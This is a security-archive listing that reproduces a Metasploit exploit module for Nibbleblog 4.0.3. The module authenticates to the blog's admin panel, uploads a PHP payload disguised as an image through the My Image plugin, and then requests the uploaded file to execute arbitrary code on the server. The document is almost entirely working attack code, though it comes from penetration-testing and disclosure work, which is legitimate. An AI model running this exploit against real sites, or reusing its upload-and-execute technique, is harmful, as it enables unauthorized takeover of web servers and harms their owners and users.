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Nibbleblog File Upload

Nibbleblog File Upload
Posted Oct 18, 2015
Authored by temp66 | Site metasploit.com

Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This Metasploit module was tested on version 4.0.3.

tags | exploit, remote, arbitrary, php
SHA-256 | 242036a885cccb63f5c9c28d79b7d7806419522622349b78f0a9c6bab6968a41

Nibbleblog File Upload

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##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'Nibbleblog File Upload Vulnerability',
'Description' => %q{
Nibbleblog contains a flaw that allows a authenticated remote
attacker to execute arbitrary PHP code. This module was
tested on version 4.0.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
],
'DisclosureDate' => 'Sep 01 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Nibbleblog 4.0.3', {}]],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def check
cookie = do_login(username, password)
return Exploit::CheckCode::Detected unless cookie

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => cookie,
'vars_get' => {
'controller' => 'settings',
'action' => 'general'
}
)

if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end

def do_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php')
)

fail_with(Failure::Unreachable, 'No response received from the target.') unless res

session_cookie = res.get_cookies
vprint_status("#{peer} - Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass
}
)

return session_cookie if res && res.code == 302 && res.headers['Location']
nil
end

def exploit
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
print_error("Target does not appear to be vulnerable.")
return
end

vprint_status("#{peer} - Authenticating using #{username}:#{password}")

cookie = do_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
vprint_good("#{peer} - Authenticated with Nibbleblog.")

vprint_status("#{peer} - Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"

data = Rex::MIME::Message.new
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
data.add_part('My image', nil, nil, 'form-data; name="title"')
data.add_part('4', nil, nil, 'form-data; name="position"')
data.add_part('', nil, nil, 'form-data; name="caption"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
data.add_part('1', nil, nil, 'form-data; name="image_resize"')
data.add_part('230', nil, nil, 'form-data; name="image_width"')
data.add_part('200', nil, nil, 'form-data; name="image_height"')
data.add_part('auto', nil, nil, 'form-data; name="image_option"')
post_data = data.to_s

vprint_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin.php'),
'vars_get' => {
'controller' => 'plugins',
'action' => 'config',
'plugin' => 'my_image'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)

if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
fail_with(Failure::Unknown, 'Unable to upload payload.')
end

vprint_good("#{peer} - Uploaded the payload.")

php_fname = 'image.php'
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
vprint_status("#{peer} - Parsed response.")

register_files_for_cleanup(php_fname)
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
end
end
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